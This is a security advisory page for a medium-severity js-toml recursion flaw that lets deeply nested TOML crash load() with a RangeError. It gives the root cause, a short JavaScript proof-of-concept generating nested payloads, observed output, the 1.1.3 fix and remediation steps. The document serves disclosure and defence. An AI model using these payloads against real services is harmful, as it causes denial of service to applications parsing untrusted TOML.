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MEDIUM severity

js-toml allows uncontrolled recursion in `load()` leading `RangeError` (stack exhaustion) on deeply nested inputGHSA-3g82-77xr-68x5

MEDIUMFix: sunnyadn/js-toml@4e10acf

GHSA-3g82-77xr-68x5 is a medium-severity (CVSS 5.3) CWE-674 vulnerability in js-toml. A fix is available for js-toml — see the affected versions and patch details below.

Also known asCVE-2026-63386
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 20, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-3g82-77xr-68x5.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs31th percentile — riskier than 31% of all scored CVEsHighest risk
0.00%0.29%0.57%0.86%0.4%0.4%0.4%Oct 26Nov 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
📦js-toml

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Summary

load() parses untrusted TOML using a recursive-descent parser (Chevrotain) and a recursive tree-walking interpreter. Neither the parser nor the interpreter enforces a maximum nesting / key depth. A small, attacker-controlled document with deep nesting (arrays, inline tables) or a long dotted key drives recursion past the V8 call-stack limit, and load() throws an uncaught RangeError: Maximum call stack size exceeded.

This is a problem for two reasons:

  1. Denial of Service. A tiny payload (≈2 KB) reliably aborts parsing. In any service that parses user-supplied TOML, an unhandled RangeError can crash the worker/process (500 / restart loop).

  2. Error-contract violation. The library signals invalid input via SyntaxParseError (see src/load/exception.ts; the entire test suite asserts SyntaxParseError). Consumers that follow this contract —

    try { load(input); }
    catch (e) {
      if (e instanceof SyntaxParseError) return badRequest();
      throw e; // unexpected -> propagates
    }
    

    — will re-throw the RangeError instead of treating the input as malformed, turning malformed input into an unexpected fatal error.

Impact

  • Unauthenticated attacker who can supply a TOML string to an application using js-toml can force load() to throw a non-SyntaxParseError error.
  • If the error is not caught by a generic handler, the Node.js process terminates (availability impact).
  • Even when caught generically, the documented/expected error type contract is broken, which can bypass input-validation branches that key off SyntaxParseError.

No confidentiality or integrity impact. The error is thrown synchronously and is catchable, so a consumer that catches all exceptions is not crashed — this is why the severity is assessed Low–Medium rather than High.

Affected code / root cause

There is no depth bound anywhere in the parse pipeline. Recursion occurs in (at least) two independent places:

  1. Parser (recursive descent). src/load/parser.ts — array / inlineTable rules recurse through value for each nesting level.
  2. Interpreter (tree walk). src/load/interpreter.ts — assignValue, createTable, getOrCreateArray recurse per dotted-key segment, and cleanInternalProperties recurses per object depth.

Because there is no configurable or hard limit, the recursion depth is bounded only by the V8 stack, and overflow surfaces as a raw RangeError.

Steps to reproduce (PoC)

Environment used: Node.js v20, [email protected].

import { load, SyntaxParseError } from 'js-toml';

function probe(label, toml) {
  try {
    load(toml);
    console.log(`[OK]            ${label}`);
  } catch (e) {
    const expected = e instanceof SyntaxParseError;
    console.log(`[${e.constructor.name}${expected ? '' : ' (UNEXPECTED)'}] ${label}: ${String(e.message).split('\n')[0]}`);
  }
}

// 1) Deeply nested arrays  (~2 KB payload)
probe('nested array depth 1000', 'x = ' + '['.repeat(1000) + ']'.repeat(1000));

// 2) Deeply nested inline tables
let v = '1';
for (let i = 0; i < 1000; i++) v = `{ a = ${v} }`;
probe('nested inline table depth 1000', 'x = ' + v);

// 3) Deep dotted key (interpreter recursion)
const key = Array.from({ length: 5000 }, (_, i) => 'a' + i).join('.');
probe('dotted key depth 5000', `${key} = 1`);

Observed output

[RangeError (UNEXPECTED)] nested array depth 1000: Maximum call stack size exceeded
[RangeError (UNEXPECTED)] nested inline table depth 1000: Maximum call stack size exceeded
[RangeError (UNEXPECTED)] dotted key depth 5000: Maximum call stack size exceeded

Each case throws RangeError, not SyntaxParseError. Overflow occurs in single-digit milliseconds, so it is not a CPU-exhaustion issue — it is an immediate, deterministic abort.

Notes on thresholds (machine-dependent; exact numbers vary by stack size):

  • Nested arrays / inline tables overflow at roughly depth ~1000 (parser recursion).
  • Dotted keys overflow at roughly depth ~5000 (interpreter recursion); depth 1000 still succeeds.

Suggested remediation

Enforce an explicit, documented maximum nesting/key depth and surface violations as SyntaxParseError (consistent with all other invalid-input handling). For example:

  • Track current depth in the parser/interpreter and throw SyntaxParseError (e.g. "Maximum nesting depth exceeded") once a configurable limit (e.g. 100–1000) is reached, before the native stack overflows.
  • As a defensive backstop, wrap the top-level load() body so that a thrown RangeError from stack exhaustion is converted into a SyntaxParseError, guaranteeing the documented error contract holds for all malformed input.

A configurable limit (with a safe default) is preferable so legitimate deep documents can opt into a higher bound.

Disclosure

Reported privately via GitHub Security Advisory. Happy to provide additional reproducers or test against a candidate patch.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmjs-tomlall versions1.1.3npm install js-toml@1.1.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for js-toml, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update js-toml to 1.1.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3g82-77xr-68x5 is resolved across your whole dependency graph.

  3. Workarounds

    Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.

Frequently Asked Questions

## Summary `load()` parses untrusted TOML using a recursive-descent parser (Chevrotain) and a recursive tree-walking interpreter. Neither the parser nor the interpreter enforces a maximum nesting / key depth. A small, attacker-controlled document with deep nesting (arrays, inline tables) or a long dotted key drives recursion past the V8 call-stack limit, and `load()` throws an **uncaught `RangeError: Maximum call stack size exceeded`**. This is a problem for two reasons: 1. **Denial of Service.** A tiny payload (≈2 KB) reliably aborts parsing. In any service that parses user-supplied TOM
O3 Security · Impact-Aware SCA

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